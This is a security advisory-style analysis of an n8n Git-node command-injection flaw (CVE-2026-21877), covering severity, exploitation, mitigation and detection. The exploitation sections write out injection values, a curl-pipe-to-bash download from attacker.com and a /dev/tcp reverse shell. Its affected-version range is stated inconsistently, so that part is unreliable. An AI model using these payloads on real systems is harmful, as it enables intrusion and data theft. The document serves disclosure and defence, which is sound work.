Comprehensive Technical Analysis of CVE-2026-21877

CVE ID: CVE-2026-21877 CVSS Score: 9.9 (Critical) Affected Software: n8n (versions ≤ 0.121.2) Fixed Version: 1.121.3

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Classification

CVE-2026-21877 is a Remote Code Execution (RCE) vulnerability in n8n, an open-source workflow automation platform. The flaw allows an authenticated attacker to execute arbitrary code on the underlying system, leading to full system compromise.

Severity Justification (CVSS 9.9 - Critical)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Score	Justification
Attack Vector (AV)	Network	Exploitable remotely over HTTP/HTTPS.
Attack Complexity (AC)	Low	No specialized conditions required.
Privileges Required (PR)	Low	Only authenticated access needed (low-privilege user).
User Interaction (UI)	None	No user interaction required.
Scope (S)	Changed	Compromise affects the underlying host, not just the application.
Confidentiality (C)	High	Full system access possible.
Integrity (I)	High	Attacker can modify data, execute commands, or deploy malware.
Availability (A)	High	System can be rendered inoperable (e.g., via DoS or ransomware).

Key Takeaways:

• High Impact: Full system compromise (RCE) with low attack complexity.
• Low Barrier to Exploitation: Only requires authenticated access, making it highly dangerous in multi-user environments.
• Widespread Risk: Affects both self-hosted and n8n Cloud instances.

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2. Potential Attack Vectors & Exploitation Methods

Root Cause Analysis

The vulnerability stems from improper input validation in n8n’s Git node, which allows users to interact with Git repositories. The flaw enables:

• Arbitrary command injection via maliciously crafted Git repository URLs or parameters.
• Code execution in the context of the n8n service (typically running as a non-root user, but privilege escalation may be possible).

Exploitation Steps

1. Authentication:

   • Attacker gains access to an n8n instance (e.g., via stolen credentials, phishing, or insider threat).
   • Even low-privilege users (e.g., "Editor" role) can exploit this flaw.

2. Triggering the Vulnerability:

   • The attacker creates or modifies a workflow containing a Git node.
   • They inject malicious payloads into:
     • Repository URL (e.g., git@github.com:user/repo.git; id > /tmp/pwned)
     • Branch/Tag names (e.g., $(id))
     • Git commands (e.g., --upload-pack="id")

3. Command Execution:

   • When the workflow executes, the Git node processes the malicious input, leading to arbitrary command execution.
   • Example payloads:

     git clone 'https://github.com/legit/repo.git; curl http://attacker.com/shell.sh | bash'
     git checkout '$(id)'
     

4. Post-Exploitation:

   • Lateral Movement: Attacker may pivot to other systems if n8n has network access.
   • Persistence: Deploy backdoors (e.g., reverse shells, cron jobs).
   • Data Exfiltration: Steal sensitive workflow data, API keys, or credentials.
   • Privilege Escalation: If n8n runs as root (misconfigured), full system takeover is possible.

Proof-of-Concept (PoC) Considerations

• A PoC would involve:
  1. Creating a workflow with a Git node.
  2. Injecting a command (e.g., id, whoami, or a reverse shell).
  3. Observing command execution in logs or via a listener.
• Mitigation Bypass: If the Git node is disabled, attackers may still exploit other vulnerable nodes (if present).

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3. Affected Systems & Software Versions

Vulnerable Versions

• n8n ≤ 0.121.2 (all releases prior to 1.121.3).
• Deployment Models:
  • Self-hosted (Docker, bare-metal, Kubernetes).
  • n8n Cloud (SaaS offering).

Unaffected Versions

• n8n ≥ 1.121.3 (patched version).

Environmental Factors Increasing Risk

• Multi-user instances (e.g., shared n8n deployments in enterprises).
• Misconfigured authentication (weak passwords, lack of MFA).
• Overprivileged service accounts (n8n running as root).
• Exposed instances (publicly accessible n8n deployments).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Upgrade to n8n 1.121.3 or later (highest priority).

   • Patch URL: GitHub Commit f4b009d
   • Release notes: GHSA-v364-rw7m-3263

2. Disable the Git Node (if upgrading is not immediately possible).

   • Remove or restrict access to Git-related workflows.
   • Monitor for unauthorized Git node usage.

3. Restrict User Access:

   • Enforce least-privilege principles (avoid granting "Owner" or "Admin" roles unnecessarily).
   • Implement role-based access control (RBAC) to limit workflow creation/modification.

4. Network-Level Protections:

   • Isolate n8n instances (VLAN segmentation, firewalls).
   • Block outbound Git traffic (if not required for business operations).
   • Enable WAF rules to detect command injection patterns.

Long-Term Hardening (Best Practices)

1. Authentication & Authorization:

   • Enforce Multi-Factor Authentication (MFA) for all users.
   • Rotate credentials and API keys post-upgrade.
   • Audit user accounts and remove inactive/dormant ones.

2. Runtime Protections:

   • Run n8n as a non-root user (e.g., n8n user with minimal permissions).
   • Enable seccomp, AppArmor, or SELinux to restrict process capabilities.
   • Use containerization (Docker with read-only filesystems where possible).

3. Monitoring & Logging:

   • Enable detailed audit logging for workflow executions.
   • Set up SIEM alerts for suspicious Git node activity (e.g., unusual commands).
   • Monitor for unexpected child processes (e.g., bash, sh, nc).

4. Incident Response Planning:

   • Develop a playbook for RCE incidents in n8n.
   • Prepare for forensic analysis (preserve logs, memory dumps if compromised).

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5. Impact on the Cybersecurity Landscape

Enterprise & Cloud Risk

• Supply Chain Attacks: n8n is often integrated with CI/CD pipelines, APIs, and third-party services, making it a high-value target for lateral movement.
• Data Breach Vector: Attackers can exfiltrate sensitive workflow data, API keys, and credentials stored in n8n.
• Ransomware & Extortion: RCE can lead to encryption of workflows or threatening data leaks (double extortion).

Broader Implications

• Increased Targeting of Low-Code/No-Code Platforms:
  • Tools like n8n, Zapier, and Make (Integromat) are becoming prime targets due to their integration with critical business systems.
• Shift in Attacker Focus:
  • Authenticated RCE (as opposed to unauthenticated) is becoming more common, emphasizing the need for strong IAM controls.
• Regulatory & Compliance Risks:
  • Organizations may face GDPR, HIPAA, or CCPA violations if sensitive data is exposed via n8n.

Threat Actor Interest

• APT Groups: Likely to exploit this in targeted attacks (e.g., espionage, data theft).
• Cybercriminals: May use it for initial access in ransomware campaigns.
• Bug Bounty Hunters: High-severity RCEs like this are lucrative targets for exploit development.

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6. Technical Details for Security Professionals

Vulnerability Mechanics

• Git Node Command Injection:

  • The Git node in n8n uses shell commands to interact with repositories.
  • Improper sanitization of user-supplied input (e.g., repository URLs, branch names) allows command chaining via:
    • Semicolons (;)
    • Backticks (`)
    • Dollar-parentheses ($(...))
    • Newlines (\n)

• Example Exploit Payload:

  git clone 'https://github.com/legit/repo.git; curl http://attacker.com/shell.sh | bash'
  

  • When processed, this executes:

    git clone https://github.com/legit/repo.git
    curl http://attacker.com/shell.sh | bash
    

Detection & Forensics

1. Log Analysis:

   • Check n8n logs for unexpected Git commands (e.g., ;, &&, |).
   • Look for child processes spawned by the n8n service (e.g., ps aux | grep n8n).

2. Network Traffic:

   • Monitor for unusual outbound connections (e.g., to attacker-controlled Git servers).
   • Inspect DNS requests for suspicious domains.

3. File System Artifacts:

   • Check for unexpected files in /tmp or n8n’s working directory.
   • Look for modified workflows with obfuscated Git node configurations.

Exploit Development Considerations

• Bypassing Input Filters:

  • Attackers may use URL encoding (%3B for ;), hex encoding, or Unicode obfuscation.
  • Alternative injection points (e.g., Git config files, hooks) may exist.

• Post-Exploitation:

  • Reverse Shells: Common payloads include:

    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    

  • Data Exfiltration: Attackers may use curl, wget, or scp to steal data.

Patch Analysis

• Fix in n8n 1.121.3:
  • Input Sanitization: Properly escapes shell metacharacters in Git node parameters.
  • Command Whitelisting: Restricts Git operations to safe commands.
  • Additional Validation: Enforces strict URL and branch name formats.

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Conclusion & Recommendations

CVE-2026-21877 represents a critical RCE vulnerability in n8n with severe implications for both self-hosted and cloud deployments. Given its low exploitation complexity and high impact, organizations must:

1. Patch immediately (upgrade to n8n 1.121.3).
2. Disable the Git node if patching is delayed.
3. Enforce least-privilege access and monitor for suspicious activity.
4. Assume breach if exploitation is suspected and conduct a forensic investigation.

Security teams should prioritize this vulnerability in their remediation efforts, as it is likely to be actively exploited by both advanced threat actors and opportunistic attackers.

For further details, refer to:

• n8n Security Advisory (GHSA-v364-rw7m-3263)
• Patch Commit (f4b009d)